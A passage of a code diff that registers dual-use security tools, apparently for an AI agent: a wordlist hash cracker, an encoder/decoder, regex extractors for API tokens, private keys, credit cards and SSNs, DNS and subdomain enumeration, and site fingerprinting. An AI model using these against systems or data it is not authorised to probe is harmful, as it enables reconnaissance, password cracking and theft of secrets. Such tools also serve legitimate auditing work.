+ [[0x49, 0x44, 0x33], 'MP3 audio (ID3 tag)'],
502
+ [[0xFF, 0xFB], 'MP3 audio'],
503
+ [[0xFF, 0xF3], 'MP3 audio'],
504
+ [[0x66, 0x4C, 0x61, 0x43], 'FLAC audio'],
505
+ [[0x4F, 0x67, 0x67, 0x53], 'OGG audio/video'],
506
+ [[0x52, 0x49, 0x46, 0x46], 'RIFF container (WAV/AVI/WebP)'],
507
+ [[0x53, 0x51, 0x4C, 0x69, 0x74, 0x65], 'SQLite database'],
508
+ [[0x00, 0x61, 0x73, 0x6D], 'WebAssembly binary'],
509
+ [[0xD0, 0xCF, 0x11, 0xE0], 'Microsoft Office (legacy .doc/.xls/.ppt)'],
510
+ [[0x49, 0x49, 0x2A, 0x00], 'TIFF image (little-endian)'],
511
+ [[0x4D, 0x4D, 0x00, 0x2A], 'TIFF image (big-endian)'],
512
+ [[0x23, 0x21], 'Script (shebang #!)'],
513
+ [[0xEF, 0xBB, 0xBF], 'UTF-8 BOM text'],
514
+ [[0xFF, 0xFE], 'UTF-16 LE BOM text'],
515
+ [[0xFE, 0xFF], 'UTF-16 BE BOM text'],
516
+ ];
517
+ // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
518
+ // Tool registration
519
+ // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
520
+ export function registerHackerToolkitTools() {
521
+ // ─────────────────────────────────────────────────────────────────────────────
522
+ // 1. hash_crack — Identify and test hashes
523
+ // ─────────────────────────────────────────────────────────────────────────────
524
+ registerTool({
525
+ name: 'hash_crack',
526
+ description: 'Identify hash type and attempt dictionary crack. Supports MD5, SHA-1, SHA-256, SHA-512, bcrypt, and more. Built-in wordlist of 500+ common passwords. Returns hash type, result, plaintext if cracked, and time taken.',
527
+ parameters: {
528
+ hash: { type: 'string', description: 'The hash to analyze and attempt to crack', required: true },
529
+ wordlist: { type: 'string', description: 'Wordlist to use: "common" (500+), "rockyou_top1000", "numeric" (0000-9999), "custom"', default: 'common' },
530
+ custom_words: { type: 'string', description: 'Comma-separated custom wordlist (when wordlist="custom")' },
531
+ },
532
+ tier: 'free',
533
+ timeout: 120_000,
534
+ async execute(args) {
535
+ const hash = String(args.hash).trim();
536
+ const wordlistType = String(args.wordlist || 'common');
537
+ const startTime = Date.now();
538
+ // Identify hash type
539
+ const hashTypes = identifyHashType(hash);
540
+ const lines = [
541
+ '## Hash Analysis',
542
+ '',
543
+ `**Input**: \`${hash}\``,
544
+ `**Length**: ${hash.length} characters`,
545
+ `**Identified types**: ${hashTypes.join(', ')}`,
546
+ '',
547
+ ];
548
+ // Skip cracking for bcrypt/argon2 (too slow for dictionary attack in Node)
549
+ if (hashTypes.some(t => ['bcrypt', 'argon2', 'SHA-256-crypt', 'SHA-512-crypt'].includes(t))) {
550
+ lines.push('**Note**: This hash type uses key stretching (bcrypt/argon2/crypt). Dictionary attack would be extremely slow.');
551
+ lines.push('Recommend using dedicated GPU cracking tools (hashcat, john) for these hash types.');
552
+ lines.push('');
553
+ lines.push(`**Time**: ${Date.now() - startTime}ms`);
554
+ return lines.join('\n');
555
+ }
556
+ // Build wordlist
557
+ let words = [];
558
+ switch (wordlistType) {
559
+ case 'common':
560
+ case 'rockyou_top1000':
561
+ words = [...COMMON_PASSWORDS];
562
+ // Add common variations
563
+ const variations = [];
564
+ for (const w of COMMON_PASSWORDS.slice(0, 200)) {
565
+ variations.push(w + '1', w + '!', w + '123', w.toUpperCase(), w.charAt(0).toUpperCase() + w.slice(1));
566
+ }
567
+ words.push(...variations);
568
+ break;
569
+ case 'numeric':
570
+ words = [...NUMERIC_WORDLIST];
571
+ break;
572
+ case 'custom':
573
+ words = String(args.custom_words || '').split(',').map(w => w.trim()).filter(Boolean);
574
+ break;
575
+ default:
576
+ words = [...COMMON_PASSWORDS];
577
+ }
578
+ lines.push(`**Wordlist**: ${wordlistType} (${words.length} words)`);
579
+ lines.push('');
580
+ // Determine which hash algorithms to try
581
+ const algorithmsToTry = [];
582
+ for (const t of hashTypes) {
583
+ if (t === 'MD5' || t === 'NTLM')
584
+ algorithmsToTry.push({ name: 'MD5', algo: 'md5' });
585
+ if (t === 'SHA-1' || t === 'MySQL5')
586
+ algorithmsToTry.push({ name: 'SHA-1', algo: 'sha1' });
587
+ if (t === 'SHA-224')
588
+ algorithmsToTry.push({ name: 'SHA-224', algo: 'sha224' });
589
+ if (t === 'SHA-256' || t === 'SHA3-256') {
590
+ algorithmsToTry.push({ name: 'SHA-256', algo: 'sha256' });
591
+ }
592
+ if (t === 'SHA-384')
593
+ algorithmsToTry.push({ name: 'SHA-384', algo: 'sha384' });
594
+ if (t === 'SHA-512' || t === 'SHA3-512') {
595
+ algorithmsToTry.push({ name: 'SHA-512', algo: 'sha512' });
596
+ }
597
+ }
598
+ // Deduplicate
599
+ const seen = new Set();
600
+ const uniqueAlgos = algorithmsToTry.filter(a => {
601
+ if (seen.has(a.algo))
602
+ return false;
603
+ seen.add(a.algo);
604
+ return true;
605
+ });
606
+ if (uniqueAlgos.length === 0) {
607
+ lines.push('**Result**: Cannot attempt crack for this hash type (unsupported algorithm or key-stretched)');
608
+ lines.push(`**Time**: ${Date.now() - startTime}ms`);
609
+ return lines.join('\n');
610
+ }
611
+ // Attempt crack
612
+ let cracked = false;
613
+ let crackedPlaintext = '';
614
+ let crackedAlgo = '';
615
+ let attempts = 0;
616
+ for (const { name, algo } of uniqueAlgos) {
617
+ if (cracked)
618
+ break;
619
+ for (const word of words) {
620
+ attempts++;
621
+ const computed = hashWith(algo, word);
622
+ if (computed.toLowerCase() === hash.toLowerCase()) {
623
+ cracked = true;
624
+ crackedPlaintext = word;
625
+ crackedAlgo = name;
626
+ break;
627
+ }
628
+ }
629
+ }
630
+ const elapsed = Date.now() - startTime;
631
+ const rate = Math.round(attempts / (elapsed / 1000));
632
+ if (cracked) {
633
+ lines.push(`### CRACKED`);
634
+ lines.push('');
635
+ lines.push(`| Field | Value |`);
636
+ lines.push(`|-------|-------|`);
637
+ lines.push(`| Plaintext | \`${crackedPlaintext}\` |`);
638
+ lines.push(`| Algorithm | ${crackedAlgo} |`);
639
+ lines.push(`| Attempts | ${attempts.toLocaleString()} |`);
640
+ lines.push(`| Speed | ${rate.toLocaleString()} hashes/sec |`);
641
+ lines.push(`| Time | ${elapsed}ms |`);
642
+ lines.push('');
643
+ lines.push('**Recommendation**: This password was found in a common wordlist. It should be changed immediately.');
644
+ }
645
+ else {
646
+ lines.push(`### Not Cracked`);
647
+ lines.push('');
648
+ lines.push(`| Field | Value |`);
649
+ lines.push(`|-------|-------|`);
650
+ lines.push(`| Attempts | ${attempts.toLocaleString()} |`);
651
+ lines.push(`| Speed | ${rate.toLocaleString()} hashes/sec |`);
652
+ lines.push(`| Time | ${elapsed}ms |`);
653
+ lines.push('');
654
+ lines.push('Password not found in the wordlist. Consider using a larger wordlist or specialized tools (hashcat, john).');
655
+ }
656
+ return lines.join('\n');
657
+ },
658
+ });
659
+ // ─────────────────────────────────────────────────────────────────────────────
660
+ // 2. encode_decode — Multi-format encoder/decoder
661
+ // ─────────────────────────────────────────────────────────────────────────────
662
+ registerTool({
663
+ name: 'encode_decode',
664
+ description: 'Encode or decode data in multiple formats. Supports base64, hex, URL encoding, HTML entities, binary, ROT13, ASCII85, JWT decode, and Unicode escapes. Supports chained operations (e.g., base64 then hex).',
665
+ parameters: {
666
+ input: { type: 'string', description: 'Data to encode or decode', required: true },
667
+ operation: { type: 'string', description: '"encode" or "decode"', required: true },
668
+ format: { type: 'string', description: 'Format: base64, hex, url, html, binary, rot13, ascii85, jwt_decode, unicode', required: true },
669
+ chain: { type: 'string', description: 'Comma-separated formats for chained operations (e.g., "base64,hex,url")' },
670
+ },
671
+ tier: 'free',
672
+ async execute(args) {
673
+ const input = String(args.input);
674
+ const operation = String(args.operation).toLowerCase();
675
+ const format = String(args.format).toLowerCase();
676
+ const chain = args.chain ? String(args.chain).split(',').map(f => f.trim().toLowerCase()) : null;
677
+ function encodeSingle(data, fmt) {
678
+ switch (fmt) {
679
+ case 'base64':
680
+ return Buffer.from(data).toString('base64');
681
+ case 'hex':
682
+ return Buffer.from(data).toString('hex');
683
+ case 'url':
684
+ return encodeURIComponent(data);
685
+ case 'html': {
686
+ const map = {
687
+ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;',
688
+ "'": '&#39;', '/': '&#47;',
689
+ };
690
+ return data.replace(/[&<>"'/]/g, c => map[c] || c);
691
+ }
692
+ case 'binary':
693
+ return Array.from(Buffer.from(data))
694
+ .map(b => b.toString(2).padStart(8, '0'))
695
+ .join(' ');
696
+ case 'rot13':
697
+ return rot13(data);
698
+ case 'ascii85':
699
+ return ascii85Encode(Buffer.from(data));
700
+ case 'unicode':
701
+ return Array.from(data)
702
+ .map(c => '\\u' + c.charCodeAt(0).toString(16).padStart(4, '0'))
703
+ .join('');
704
+ default:
705
+ return `Unsupported format: ${fmt}`;
706
+ }
707
+ }
708
+ function decodeSingle(data, fmt) {
709
+ switch (fmt) {
710
+ case 'base64':
711
+ return Buffer.from(data, 'base64').toString('utf-8');
712
+ case 'hex':
713
+ return Buffer.from(data.replace(/\s/g, ''), 'hex').toString('utf-8');
714
+ case 'url':
715
+ return decodeURIComponent(data);
716
+ case 'html': {
717
+ const map = {
718
+ '&amp;': '&', '&lt;': '<', '&gt;': '>', '&quot;': '"',
719
+ '&#39;': "'", '&#47;': '/', '&apos;': "'",
720
+ };
721
+ // Also handle numeric entities
722
+ let result = data;
723
+ for (const [entity, char] of Object.entries(map)) {
724
+ result = result.split(entity).join(char);
725
+ }
726
+ result = result.replace(/&#(\d+);/g, (_, num) => String.fromCharCode(parseInt(num, 10)));
727
+ result = result.replace(/&#x([a-f0-9]+);/gi, (_, hex) => String.fromCharCode(parseInt(hex, 16)));
728
+ return result;
729
+ }
730
+ case 'binary':
731
+ return data.split(/\s+/)
732
+ .filter(Boolean)
733
+ .map(b => String.fromCharCode(parseInt(b, 2)))
734
+ .join('');
735
+ case 'rot13':
736
+ return rot13(data);
737
+ case 'ascii85':
738
+ return ascii85Decode(data);
739
+ case 'jwt_decode': {
740
+ const parts = data.split('.');
741
+ if (parts.length < 2)
742
+ return 'Error: Invalid JWT format (expected header.payload.signature)';
743
+ const header = JSON.parse(base64UrlDecode(parts[0]));
744
+ const payload = JSON.parse(base64UrlDecode(parts[1]));
745
+ const signature = parts[2] || '(none)';
746
+ return JSON.stringify({ header, payload, signature }, null, 2);
747
+ }
748
+ case 'unicode':
749
+ return data.replace(/\\u([a-f0-9]{4})/gi, (_, hex) => String.fromCharCode(parseInt(hex, 16)));
750
+ default:
751
+ return `Unsupported format: ${fmt}`;
752
+ }
753
+ }
754
+ const lines = ['## Encode/Decode Result', ''];
755
+ if (chain && chain.length > 0) {
756
+ // Chained operations
757
+ lines.push(`**Chain**: ${chain.join(' -> ')}`);
758
+ lines.push(`**Operation**: ${operation}`);
759
+ lines.push('');
760
+ let current = input;
761
+ const steps = [];
762
+ const formats = operation === 'decode' ? [...chain].reverse() : chain;
763
+ for (const fmt of formats) {
764
+ try {
765
+ current = operation === 'encode' ? encodeSingle(current, fmt) : decodeSingle(current, fmt);
766
+ steps.push(`**${fmt}**: \`${current.length > 200 ? current.slice(0, 200) + '...' : current}\``);
767
+ }
768
+ catch (e) {
769
+ steps.push(`**${fmt}**: ERROR — ${e.message}`);
770
+ break;
771
+ }
772
+ }
773
+ lines.push('### Steps');
774
+ for (const s of steps)
775
+ lines.push(s);
776
+ lines.push('');
777
+ lines.push('### Final Result');
778
+ lines.push('```');
779
+ lines.push(current);
780
+ lines.push('```');
781
+ }
782
+ else {
783
+ // Single operation
784
+ lines.push(`**Format**: ${format}`);
785
+ lines.push(`**Operation**: ${operation}`);
786
+ lines.push('');
787
+ try {
788
+ const result = operation === 'encode'
789
+ ? encodeSingle(input, format)
790
+ : decodeSingle(input, format);
791
+ lines.push('### Result');
792
+ lines.push('```');
793
+ lines.push(result);
794
+ lines.push('```');
795
+ lines.push('');
796
+ lines.push(`**Input length**: ${input.length}`);
797
+ lines.push(`**Output length**: ${result.length}`);
798
+ }
799
+ catch (e) {
800
+ lines.push(`**Error**: ${e.message}`);
801
+ }
802
+ }
803
+ return lines.join('\n');
804
+ },
805
+ });
806
+ // ─────────────────────────────────────────────────────────────────────────────
807
+ // 3. regex_extract — Pattern extraction from data
808
+ // ─────────────────────────────────────────────────────────────────────────────
809
+ registerTool({
810
+ name: 'regex_extract',
811
+ description: 'Extract patterns from text data. Built-in patterns for emails, IPs, URLs, API tokens, phone numbers, credit cards, SSNs, hashes, and crypto keys. Supports custom regex patterns.',
812
+ parameters: {
813
+ data: { type: 'string', description: 'Text to search for patterns', required: true },
814
+ pattern: { type: 'string', description: 'Pattern: emails, ips, urls, tokens, phones, credit_cards, ssn, hashes, keys, custom', required: true },
815
+ custom_regex: { type: 'string', description: 'Custom regex pattern (when pattern="custom")' },
816
+ },
817
+ tier: 'free',
818
+ async execute(args) {
819
+ const data = String(args.data);
820
+ const patternName = String(args.pattern).toLowerCase();
821
+ const patterns = {
822
+ emails: {
823
+ regex: /[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}/g,
824
+ label: 'Email addresses',
825
+ },
826
+ ips: {
827
+ regex: /\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b|(?:[0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}/g,
828
+ label: 'IP addresses (IPv4 and IPv6)',
829
+ },
830
+ urls: {
831
+ regex: /https?:\/\/[^\s<>"')\]]+/g,
832
+ label: 'URLs',
833
+ },
834
+ tokens: {
835
+ // Matches common API key / token formats
836
+ regex: /(?:(?:ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9_]{36,})|(?:sk-[A-Za-z0-9]{32,})|(?:sk_live_[A-Za-z0-9]{24,})|(?:pk_live_[A-Za-z0-9]{24,})|(?:xox[bpas]-[A-Za-z0-9\-]+)|(?:AIza[A-Za-z0-9\-_]{35})|(?:AKIA[A-Z0-9]{16})|(?:ya29\.[A-Za-z0-9\-_]+)|(?:eyJ[A-Za-z0-9\-_]+\.eyJ[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+)|(?:bearer\s+[A-Za-z0-9\-_.~+\/]+=*)/gi,
837
+ label: 'API tokens and keys',
838
+ },
839
+ phones: {
840
+ regex: /(?:\+?1[-.\s]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}|\+\d{1,3}[-.\s]?\d{4,14}/g,
841
+ label: 'Phone numbers',
842
+ },
843
+ credit_cards: {
844
+ // Visa, MC, Amex, Discover, Diners, JCB
845
+ regex: /\b(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|3[47][0-9]{13}|6(?:011|5[0-9]{2})[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\d{3})\d{11})\b/g,
846
+ label: 'Credit card numbers',
847
+ },
848
+ ssn: {
849
+ regex: /\b\d{3}[-.\s]?\d{2}[-.\s]?\d{4}\b/g,
850
+ label: 'Social Security Numbers (potential)',
851
+ },
852
+ hashes: {
853
+ regex: /\b[a-f0-9]{32}\b|\b[a-f0-9]{40}\b|\b[a-f0-9]{64}\b|\b[a-f0-9]{128}\b/gi,
854
+ label: 'Hash values (MD5, SHA-1, SHA-256, SHA-512)',
855
+ },
856
+ keys: {
857
+ // Private keys, certificates, AWS keys
858
+ regex: /-----BEGIN (?:RSA |EC |DSA |OPENSSH |PGP )?(?:PRIVATE|PUBLIC) KEY-----[\s\S]*?-----END (?:RSA |EC |DSA |OPENSSH |PGP )?(?:PRIVATE|PUBLIC) KEY-----|AKIA[A-Z0-9]{16}|(?:A3T[A-Z0-9]|ABIA|ACCA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}/g,
859
+ label: 'Cryptographic keys and AWS credentials',
860
+ },
861
+ };
862
+ let regex;
863
+ let label;
864
+ if (patternName === 'custom') {
865
+ const customRegex = String(args.custom_regex || '');
866
+ if (!customRegex) {
867
+ return 'Error: custom_regex parameter required when pattern="custom"';
868
+ }
869
+ try {
870
+ regex = new RegExp(customRegex, 'g');
871
+ label = `Custom pattern: /${customRegex}/g`;
872
+ }
873
+ catch (e) {
874
+ return `Error: Invalid regex — ${e.message}`;
875
+ }
876
+ }
877
+ else {
878
+ const p = patterns[patternName];
879
+ if (!p) {
880
+ return `Error: Unknown pattern "${patternName}". Available: ${Object.keys(patterns).join(', ')}, custom`;
881
+ }
882
+ regex = p.regex;
883
+ label = p.label;
884
+ }
885
+ const matches = [...data.matchAll(regex)].map(m => m[0]);
886
+ const unique = [...new Set(matches)];
887
+ const lines = [
888
+ '## Pattern Extraction',
889
+ '',
890
+ `**Pattern**: ${label}`,
891
+ `**Total matches**: ${matches.length}`,
892
+ `**Unique matches**: ${unique.length}`,
893
+ '',
894
+ ];
895
+ if (unique.length > 0) {
896
+ lines.push('### Matches');
897
+ lines.push('');
898
+ for (let i = 0; i < Math.min(unique.length, 100); i++) {
899
+ const count = matches.filter(m => m === unique[i]).length;
900
+ lines.push(`${i + 1}. \`${unique[i]}\`${count > 1 ? ` (x${count})` : ''}`);
901
+ }
902
+ if (unique.length > 100) {
903
+ lines.push(`... and ${unique.length - 100} more`);
904
+ }
905
+ }
906
+ else {
907
+ lines.push('No matches found.');
908
+ }
909
+ return lines.join('\n');
910
+ },
911
+ });
912
+ // ─────────────────────────────────────────────────────────────────────────────
913
+ // 4. dns_enum — DNS enumeration
914
+ // ─────────────────────────────────────────────────────────────────────────────
915
+ registerTool({
916
+ name: 'dns_enum',
917
+ description: 'Enumerate DNS records for a domain. Supports A, AAAA, MX, NS, TXT, CNAME, SOA, SRV record types. Optionally scans 100 common subdomains for existence.',
918
+ parameters: {
919
+ domain: { type: 'string', description: 'Domain to enumerate', required: true },
920
+ type: { type: 'string', description: 'Record type: all, A, AAAA, MX, NS, TXT, CNAME, SOA, SRV', default: 'all' },
921
+ subdomain_scan: { type: 'string', description: 'Also check common subdomains (true/false)', default: 'false' },
922
+ },
923
+ tier: 'free',
924
+ timeout: 120_000,
925
+ async execute(args) {
926
+ const domain = String(args.domain).replace(/^https?:\/\//, '').replace(/\/.*$/, '').trim();
927
+ const type = String(args.type || 'all').toUpperCase();
928
+ const subdomainScan = String(args.subdomain_scan) === 'true';
929
+ const resolver = new Resolver();
930
+ resolver.setServers(['8.8.8.8', '8.8.4.4', '1.1.1.1']);
931
+ const lines = [
932
+ '## DNS Enumeration',
933
+ '',
934
+ `**Domain**: ${domain}`,
935
+ '',
936
+ ];
937
+ const recordTypes = type === 'ALL'
938
+ ? ['A', 'AAAA', 'MX', 'NS', 'TXT', 'CNAME', 'SOA', 'SRV']
939
+ : [type];
940
+ for (const rt of recordTypes) {
941
+ try {
942
+ let records;
943
+ switch (rt) {
944
+ case 'A':
945
+ records = await resolver.resolve4(domain);
946
+ if (records.length > 0) {
947
+ lines.push(`### A Records`);
948
+ for (const r of records)
949
+ lines.push(`- ${r}`);
950
+ lines.push('');
951
+ }
952
+ break;
953
+ case 'AAAA':
954
+ records = await resolver.resolve6(domain);
955
+ if (records.length > 0) {
956
+ lines.push(`### AAAA Records`);
957
+ for (const r of records)
958
+ lines.push(`- ${r}`);
959
+ lines.push('');
960
+ }
961
+ break;
962
+ case 'MX':
963
+ records = await resolver.resolveMx(domain);
964
+ if (records.length > 0) {
965
+ lines.push(`### MX Records`);
966
+ lines.push('| Priority | Exchange |');
967
+ lines.push('|----------|----------|');
968
+ for (const r of records.sort((a, b) => a.priority - b.priority)) {
969
+ lines.push(`| ${r.priority} | ${r.exchange} |`);
970
+ }
971
+ lines.push('');
972
+ }
973
+ break;
974
+ case 'NS':
975
+ records = await resolver.resolveNs(domain);
976
+ if (records.length > 0) {
977
+ lines.push(`### NS Records`);
978
+ for (const r of records)
979
+ lines.push(`- ${r}`);
980
+ lines.push('');
981
+ }
982
+ break;
983
+ case 'TXT':
984
+ records = await resolver.resolveTxt(domain);
985
+ if (records.length > 0) {
986
+ lines.push(`### TXT Records`);
987
+ for (const r of records)
988
+ lines.push(`- \`${r.join('')}\``);
989
+ lines.push('');
990
+ }
991
+ break;
992
+ case 'CNAME':
993
+ records = await resolver.resolveCname(domain);
994
+ if (records.length > 0) {
995
+ lines.push(`### CNAME Records`);
996
+ for (const r of records)
997
+ lines.push(`- ${r}`);
998
+ lines.push('');
999
+ }
1000
+ break;
1001
+ case 'SOA':
1002
+ records = await resolver.resolveSoa(domain);
1003
+ if (records) {
1004
+ lines.push(`### SOA Record`);
1005
+ lines.push(`| Field | Value |`);
1006
+ lines.push(`|-------|-------|`);
1007
+ lines.push(`| Primary NS | ${records.nsname} |`);
1008
+ lines.push(`| Admin email | ${records.hostmaster} |`);
1009
+ lines.push(`| Serial | ${records.serial} |`);
1010
+ lines.push(`| Refresh | ${records.refresh}s |`);
1011
+ lines.push(`| Retry | ${records.retry}s |`);
1012
+ lines.push(`| Expire | ${records.expire}s |`);
1013
+ lines.push(`| Min TTL | ${records.minttl}s |`);
1014
+ lines.push('');
1015
+ }
1016
+ break;
1017
+ case 'SRV':
1018
+ records = await resolver.resolveSrv(domain);
1019
+ if (records.length > 0) {
1020
+ lines.push(`### SRV Records`);
1021
+ lines.push('| Priority | Weight | Port | Target |');
1022
+ lines.push('|----------|--------|------|--------|');
1023
+ for (const r of records) {
1024
+ lines.push(`| ${r.priority} | ${r.weight} | ${r.port} | ${r.name} |`);
1025
+ }
1026
+ lines.push('');
1027
+ }
1028
+ break;
1029
+ }
1030
+ }
1031
+ catch (e) {
1032
+ if (e.code !== 'ENODATA' && e.code !== 'ENOTFOUND' && e.code !== 'ESERVFAIL') {
1033
+ lines.push(`### ${rt} Records — Error: ${e.message}`);
1034
+ lines.push('');
1035
+ }
1036
+ }
1037
+ }
1038
+ // Subdomain scan
1039
+ if (subdomainScan) {
1040
+ lines.push('---');
1041
+ lines.push('### Subdomain Scan');
1042
+ lines.push('');
1043
+ const found = [];
1044
+ const batchSize = 20;
1045
+ for (let i = 0; i < COMMON_SUBDOMAINS_SMALL.length; i += batchSize) {
1046
+ const batch = COMMON_SUBDOMAINS_SMALL.slice(i, i + batchSize);
1047
+ const results = await Promise.allSettled(batch.map(async (sub) => {
1048
+ const fqdn = `${sub}.${domain}`;
1049
+ const ips = await resolver.resolve4(fqdn);
1050
+ return { subdomain: fqdn, ips };
1051
+ }));
1052
+ for (const r of results) {
1053
+ if (r.status === 'fulfilled') {
1054
+ found.push(r.value);
1055
+ }
1056
+ }
1057
+ }
1058
+ if (found.length > 0) {
1059
+ lines.push(`**Found**: ${found.length} subdomains`);
1060
+ lines.push('');
1061
+ lines.push('| Subdomain | IP Addresses |');
1062
+ lines.push('|-----------|-------------|');
1063
+ for (const f of found) {
1064
+ lines.push(`| ${f.subdomain} | ${f.ips.join(', ')} |`);
1065
+ }
1066
+ }
1067
+ else {
1068
+ lines.push('No subdomains found in the common wordlist.');
1069
+ }
1070
+ }
1071
+ return lines.join('\n');
1072
+ },
1073
+ });
1074
+ // ─────────────────────────────────────────────────────────────────────────────
1075
+ // 5. tech_fingerprint — Technology stack detection
1076
+ // ─────────────────────────────────────────────────────────────────────────────
1077
+ registerTool({
1078
+ name: 'tech_fingerprint',
1079
+ description: 'Detect the technology stack of a website. Analyzes HTTP headers, cookies, HTML meta tags, script sources, and common paths. Identifies server software, frameworks, CMS, CDN, and more.',
1080
+ parameters: {
1081
+ url: { type: 'string', description: 'URL to fingerprint', required: true },
1082
+ },
1083
+ tier: 'free',
1084
+ timeout: 30_000,
1085
+ async execute(args) {
1086
+ const url = String(args.url).startsWith('http') ? String(args.url) : `https://${args.url}`;
1087
+ const lines = ['## Technology Fingerprint', '', `**Target**: ${url}`, ''];
1088
+ const technologies = [];
1089
+ try {
1090
+ const resp = await fetchWithTimeout(url, {
1091
+ headers: {
1092
+ 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
1093
+ },
1094
+ redirect: 'follow',
1095
+ }, 15000);
1096
+ const headers = Object.fromEntries(resp.headers.entries());
1097
+ const body = await resp.text();
1098
+ // ── Header analysis ──
1099
+ const serverHeader = headers['server'] || '';
1100
+ if (serverHeader) {
1101
+ technologies.push({ category: 'Server', name: serverHeader, evidence: 'Server header' });
1102
+ }
1103
+ const poweredBy = headers['x-powered-by'] || '';
1104
+ if (poweredBy) {
1105
+ technologies.push({ category: 'Framework', name: poweredBy, evidence: 'X-Powered-By header' });
1106
+ }
1107
+ if (headers['x-aspnet-version']) {
1108
+ technologies.push({ category: 'Framework', name: `ASP.NET ${headers['x-aspnet-version']}`, evidence: 'X-AspNet-Version header' });
1109
+ }
1110
+ if (headers['x-aspnetmvc-version']) {
1111
+ technologies.push({ category: 'Framework', name: `ASP.NET MVC ${headers['x-aspnetmvc-version']}`, evidence: 'X-AspNetMvc-Version header' });
1112
+ }
1113
+ if (headers['x-drupal-cache']) {
1114
+ technologies.push({ category: 'CMS', name: 'Drupal', evidence: 'X-Drupal-Cache header' });
1115
+ }
1116
+ if (headers['x-generator']) {
1117
+ technologies.push({ category: 'CMS/Framework', name: headers['x-generator'], evidence: 'X-Generator header' });
1118
+ }
1119
+ if (headers['x-shopify-stage']) {
1120
+ technologies.push({ category: 'eCommerce', name: 'Shopify', evidence: 'X-Shopify-Stage header' });
1121
+ }
1122
+ if (headers['x-wix-request-id']) {
1123
+ technologies.push({ category: 'CMS', name: 'Wix', evidence: 'X-Wix-Request-Id header' });
1124
+ }
1125
+ // CDN detection
1126
+ if (headers['cf-ray']) {
1127
+ technologies.push({ category: 'CDN', name: 'Cloudflare', evidence: 'cf-ray header' });
1128
+ }
1129
+ if (headers['x-cache'] && /HIT|MISS/i.test(headers['x-cache'])) {
1130
+ technologies.push({ category: 'CDN/Cache', name: `Cache: ${headers['x-cache']}`, evidence: 'X-Cache header' });
1131
+ }
1132
+ if (headers['x-amz-cf-id'] || headers['x-amz-cf-pop']) {
1133
+ technologies.push({ category: 'CDN', name: 'Amazon CloudFront', evidence: 'X-Amz-Cf-Id header' });
1134
+ }
1135
+ if (headers['x-vercel-id']) {
1136
+ technologies.push({ category: 'Platform', name: 'Vercel', evidence: 'X-Vercel-Id header' });
1137
+ }
1138
+ if (headers['x-netlify-request-id']) {
1139
+ technologies.push({ category: 'Platform', name: 'Netlify', evidence: 'X-Netlify-Request-Id header' });
1140
+ }
1141
+ if (headers['fly-request-id']) {
1142
+ technologies.push({ category: 'Platform', name: 'Fly.io', evidence: 'fly-request-id header' });
1143
+ }
1144
+ // ── Cookie analysis ──
1145
+ const setCookie = headers['set-cookie'] || '';
1146
+ if (/PHPSESSID/i.test(setCookie)) {
1147
+ technologies.push({ category: 'Language', name: 'PHP', evidence: 'PHPSESSID cookie' });
1148
+ }
1149
+ if (/JSESSIONID/i.test(setCookie)) {
1150
+ technologies.push({ category: 'Language', name: 'Java', evidence: 'JSESSIONID cookie' });
1151
+ }
1152
+ if (/connect\.sid/i.test(setCookie)) {
1153
+ technologies.push({ category: 'Framework', name: 'Express.js (Node.js)', evidence: 'connect.sid cookie' });
1154
+ }
1155
+ if (/_rails/i.test(setCookie) || /_session_id/i.test(setCookie)) {
1156
+ technologies.push({ category: 'Framework', name: 'Ruby on Rails', evidence: '_rails/_session_id cookie' });
1157
+ }
1158
+ if (/laravel_session/i.test(setCookie)) {
1159
+ technologies.push({ category: 'Framework', name: 'Laravel (PHP)', evidence: 'laravel_session cookie' });
1160
+ }
1161
+ if (/csrftoken/i.test(setCookie) && /sessionid/i.test(setCookie)) {
1162
+ technologies.push({ category: 'Framework', name: 'Django (Python)', evidence: 'csrftoken + sessionid cookies' });
1163
+ }
1164
+ if (/ASP\.NET_SessionId/i.test(setCookie)) {
1165
+ technologies.push({ category: 'Framework', name: 'ASP.NET', evidence: 'ASP.NET_SessionId cookie' });
1166
+ }
1167
+ if (/__cfduid/i.test(setCookie)) {
1168
+ technologies.push({ category: 'CDN', name: 'Cloudflare', evidence: '__cfduid cookie' });
1169
+ }
1170
+ if (/wp-settings/i.test(setCookie) || /wordpress/i.test(setCookie)) {
1171
+ technologies.push({ category: 'CMS', name: 'WordPress', evidence: 'WordPress cookie' });
1172
+ }
1173
+ // ── HTML analysis ──
1174
+ const generatorMatch = body.match(/<meta[^>]+name=["']generator["'][^>]+content=["']([^"']+)["']/i);
1175
+ if (generatorMatch) {
1176
+ technologies.push({ category: 'CMS/Framework', name: generatorMatch[1], evidence: 'meta generator tag' });
1177
+ }
1178
+ // WordPress indicators
1179
+ if (/wp-content|wp-includes|wp-json/i.test(body)) {
1180
+ technologies.push({ category: 'CMS', name: 'WordPress', evidence: 'wp-content/wp-includes paths' });
1181
+ }
1182
+ // React
1183
+ if (/__NEXT_DATA__|_next\/static/i.test(body)) {
1184
+ technologies.push({ category: 'Framework', name: 'Next.js (React)', evidence: '__NEXT_DATA__ / _next/static' });
1185
+ }
1186
+ else if (/react\.production\.min|reactDOM|data-reactroot|__react/i.test(body)) {
1187
+ technologies.push({ category: 'Library', name: 'React', evidence: 'React DOM markers' });
1188
+ }
1189
+ // Vue.js
1190
+ if (/vue\.runtime|v-cloak|data-v-[a-f0-9]|__vue__|nuxt/i.test(body)) {
1191
